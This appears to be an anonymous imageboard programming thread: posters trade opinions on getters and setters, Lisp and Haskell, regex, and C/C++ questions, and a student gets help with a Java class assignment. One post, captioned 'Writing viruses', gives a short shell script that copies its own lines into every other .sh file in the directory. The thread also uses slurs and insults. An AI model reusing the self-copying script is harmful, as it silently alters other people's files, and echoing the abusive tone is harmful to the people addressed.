/dpt/ - Daily Programming Thread

What are you working on, Sup Forums?

Old thread:

Other urls found in this thread:

hastebin.com/duwujiyuxe.java
hastebin.com/pocodekixa.scala
hastebin.com/fahufebecu.scala
hastebin.com/uweledalij.scala
hastebin.com/asuqufufiw.scala
hastebin.com/gijirameqo.cs
stackoverflow.com/questions/1732348/regex-match-open-tags-except-xhtml-self-contained-tags/1732454#1732454
twitter.com/AnonBabble

>What are you working on, Sup Forums?
rewatching Shuffle

I got a bluetooth keyboard for phone programing!

you might as well use a laptop at this stage

Hacker's keyboard+JuiceSSH is fine.

>want to program in common lisp
>it's dynamically typed
>doesn't have return, you have to use return-from
FUUUUUUUCK

>try to write infrared emitter with development board
>can't receive signal
>no idea why
Fuck electronics

>have arduino class as "introduction to programming"
>70% of the class goes to gluing shit to other shit
>20% goes to getting wires right
>10% goes to copypasting from SO
God, I fucking hate filler classes.

What's with the getters and setters are bad practice meme?

They seem pretty useful desu.

What language? If you mean C# then they're great obviously. In most other languages they're pretty annoying.

Who said this? Is that common sentiment on this board?
I'm new to programming so no bully plx

>have to do function call to access field instead of just dereference
enjoy your python like performance

pleb here. i have been stuck on an assignment for hours now, could someone help me?

yes its a bad practice and plz declare them public

dont ask to ask questions just post the question & your code

in general you should be very wary of making anything public

I'm ""learning"" Haskell.

Aside from its general spooks, it's very comfy

Debugging is twice as hard as writing the code in the first place. Therefore, if you write the code as cleverly as possible, you are, by definition, not smart enough to debug it.
-- Brian Kernighan

>mfw too smart to debug

>filler classes
ya don't say, kinda reminds me of C#

Kernighan considered dumbfuck.

Why would you have getters and setters instead of just a public var?

sepples can inline, dunno about other langs

everything that doesn't need to be public isn't. period.

>sepples can inline
>trusting the compiler jew

Why bother user? It's not even in the top 50 languages of the TIOBE, and when you search it on indeed, only 79 jobs come up in all of the USA

because you can have getter only properties. or properties with private setters.

>learning stuff only to get job
dumb wagecuck poster

or setter only properties

learning is a virtue user

I agree, but if you wanted to actually learn, you would go with ASM, or a more used functional programming language

>virtually infinite number of things to learn in the world
>not choosing one that is both interesting, and generates money
I swear, people on Sup Forums have to have one of the lowest IQs of all the boards

In case the variable has a relationship with another variable that needs to be maintained.

ok thank you.
i can't figure out what type the Weapon instance variable (name) should be. at first i thought string, but it wouldn't make sense to have two methods that are pretty much identical in the class. so then i tried making it of the Object type, but even then i don't know how to set it as one of its subtypes in the constructor
here are the classes thus far:
Weapon:
hastebin.com/duwujiyuxe.java
Melee Weapon:
hastebin.com/duwujiyuxe.java
Ranged Weapon
hastebin.com/pocodekixa.scala
Sword:
hastebin.com/duwujiyuxe.java
Knife:
hastebin.com/duwujiyuxe.java
Pistol;
hastebin.com/fahufebecu.scala
AR:
hastebin.com/uweledalij.scala
Sniper:
hastebin.com/asuqufufiw.scala
Player:
hastebin.com/duwujiyuxe.java
TestFPS
hastebin.com/gijirameqo.cs

Haskell is the pinnacle of functional programing and is part of the /dpt/ trifecta of autism: C, Java, Haskell.

>both interesting, and generates money
no just thing dumb nu-male

What kind of PCs you have? Intel or AMD based?
I know its not very important when you are not gamerfag but still i would like to have some kind od point of reference.
Im planning to buy new PC after many years and im out of touch with hardware nowadays...

dude i think you have the wrong thread

is it that hard to tell me on what kind of machine are you programming?

Because language designers could add a basic struct/class invariant feature and completely invalidate them.

I agree with those 3.

Program to a interface. Not an implementation

Setters and getters are useful if your code requires some complex methods. Otherwise structs are fine

yeah, common lisp really is the best language ever.

The last value is automatically returned. You can add some amount of type annotations.

A thinkpad x220 with hackintosh installed

Common Lisp is every language.

you ever felt the need for bigger screen?

Kek, kinda sounds like you are regretting getting that psychology degree because you fell for the "I am only interested in one subject, and it's my ((((((calling)))))))" meme

Im programming on a raspberry pi mini laptop that I bought for $500 in Python

what's up with all of those {} in Rust?

leave him alone

>Rust
Reminds me of another 4 letter word: meme

Well user, I would like to point out that he was the bully that called me a, and I quote, "nu-male".

go back to >>>/reddit/ fucking retards can't even use the quote.

i think you should use an enum although thats weird for a name. Enum weapontype = { melee, ranged, knife}
There is an implicit hierarchy. So melee = 0, ranged = 1, knife = 2.

weird question though. A name should not denote the type of weapon, but the actual name. The name of an ak47 is ak47 and not assault rifle.

Post some regular expressions you wrote!
sed -E 's/_/ /g;s/^\[[^]]+\] //;s/( -)? [0-9]{2}([-+][0-9]{2})?(v[0-9])? [\[(].*$//'
This is one I unironically use in a bash script of mine.

Common Lisp is the C++ of Lisps.

Because Alan Kay said so

> "Lots of so called object oriented languages have 'setters' and when you have a setter on an object you turn it back into a data structure."

> "Doing encapsulation right is a commitment not just to abstraction of state, but to eliminate state oriented metaphors from programming."

The main idea is that objects should interact by asynchronous message passing, because then they have no hard dependency on any external state. (You can treat the object as an isolated unit, move it around between machines and whatnot). Getters and setters (or method calls in general) create a hard dependency between objects in a way which makes them brittle. If one fails, the whole system fails, with little to no chance of recovery.

eww

most appreciated user. though i am familiar with enum in C from studying on my own time, we haven't touched that yet in this java course, so i'm hesitant to use it as i don't want the instructor to think i just copied and pasted someone elses solution. that said i will probably use it if i can't figure something else out by the time it's due. at least i'm not the only one that thinks this assignment is a little wonky. thanks again.

No. Common Lisp hasn't changed since the 90s.
Racket would be the sepples of lisp because it started as scheme but then went full retard and included shit load bloated features.

I think Clojure is more like C++. It's a bunch of new ideas poorly implemented on top of an existing language that constantly leaks through to the programmer. Common Lisp is more like the Fortran of lisps, timeless and crufty.

Please explain this user. You don't make any sense (no surprise there)

Racket is more like the Perl of lisp. Batteries included and at least two object systems.

Are you too stupid to understand the beauty of (non filthy perl-like) regular expressions?

Prepare for Parsec or cl-ppcre bullying.

>name is tied to the class
>public setter for name
what the fuck this program design is shitttt

that said, its pretty obvious name should be a string because toString returns a string and toString returns the name

>Have never written an xml parser before
>Expected to build one by this sunday night for class

Anyone got a good place to start to learn how to write one?

What I'm parsing is actually regular, though. Why would I waste my time and computation power on something more than that, when I can use something so elegant?
Can't you even tell what I'm trying to parse?

This is true. I've written code before that eventually worked (after trial and error), and I never truly understood how or why it worked, nor dared to touch it again in case it broke.

why is c truncating the output when the variables are floats

is k&r ansi c that outdated

>regular expressions
>elegant

The .0 in %3.0f is telling it to print without decimal points.

Regular expressions bro, they're efficient and elegant.

thanks I'm retarded

>parsing XML with regexp

stackoverflow.com/questions/1732348/regex-match-open-tags-except-xhtml-self-contained-tags/1732454#1732454

thank you for the input but then why would we have a getter for the name? why not just use the toString() method since they would both do the same thing?
here is the rest of the assignment if it would be of help

Do compile time regular expressions exist?

there are many questions that can be asked about the program design your professor has laid out. for your sanity, it is best that you do not think to hard about them.

>not wanting to summon Zalgo

Yes, any language that supports regular expression literals, like Perl or Ruby, can compile them. In Lisp, you can add compile time regular expressions. In Go or Python, you're fucked.

Nice, that shit was mad

thank you

>mad
I think you mean great, that shit was the epitome of harem anime.

Writing viruses.
#!/bin/sh
for file in *.sh; do
if [ "$file" != "$(basename $0)" ]; then
tail -5 $0 >> $file
fi
done

in c++, do you always have to put the current instance variable to the left and the other on the rhs when doing an operation? shouldnt they just be commutative, because it gives a weird error that "Binding r-value to l-value reference is non-standard Microsoft C++ extension"


vec3 operator*(float f){
return { x * f, y * f, z * f };
}

// ...

auto a = vec3(1, 2, 3);
auto r = a * 12.0f; //this doesnt give errors
auto r2 = 12.0f * a //this gives the warning.

[/code

To other CS students here: how do you feel when you fail horribly at a test?
I got an F in Data Structures and I'm desperate because I never did so bad in a test in my entire 20 years of existence. I knew how to solve the professor's problems while I was in front of the computer, but when I had to "code" using pencil & paper, I failed at every single exercise. It was mediocre.
The worst of it all is that I studied a lot. It wasn't supposed to be like this...

I feel like shit. It's like all my effort was for nothing.

No you didn't.

You knew how to Google the answer.

If you can't figure out basic Data Structures test you aren't going to survive in the real world.

Get the fuck out of this major.

The error pops up because the compiler thinks 12.0f was of type vec3 and vec3 of type float (I think).

did you tried to code with pencil & paper before doing the test?

>do you always have to put the current instance variable to the left and the other on the rhs when doing an operation?
Yes.

>shouldnt they just be commutative
How would you do matrix multiplication if it had to be commutative?

Get a discrete math book and try to understand that inside and out. Structures will be a breeze afterward.

I didn't.

I wrote again every code he passed to us. Until the test happened, I thought I knew about linked lists, stack, queues, etc. But then it was like I knew shit.

Maybe you're right and I need to switch majors. For the third time.

Is anyone save the programming challenge v4.0 from the last thread??

>try to write game of life in lua using Love2d
>end up only making the grid all night
Apparently I'm extremely dumb.Im looking at some existing projects and will replicate it with slight modifications.

you really should prepare yourself to write code on paper, at least, coding without internet.

i don't doubt you knew what the test asked, but you weren't confident enough to write it down the code, you start forggeting very basic stuff that you usually don't even think when you are typing with a keyboard, then freak out and start forggeting the real important stuff, it happens and it's common.

if the test requires you to write with pencil and paper, prepare yourself to write code with pencil and paper (and no internet)

any .net masters out there.
Im trying to create a property of a 5d struct;
ref struct arr5 {
float a,b,c,d,e;
virtual String^ ToString() override {
return "(" + a.ToString() + ", " + b.ToString() + ", " + c.ToString() + ", " + d.ToString() + ", " + e.ToString()")";
}


I can get the property. But I cant set the property with a propertygrid.

What is the best way to fiddling with unit that smaller than a char in C++??
I want to make a huffman tree compression, but having problem when inserting the data to the stream

...

Never gotten on a test F in computer related classes. But I've gotten Ds on math tests and it sucks. Math scares me.

gonna need more info. What unit size.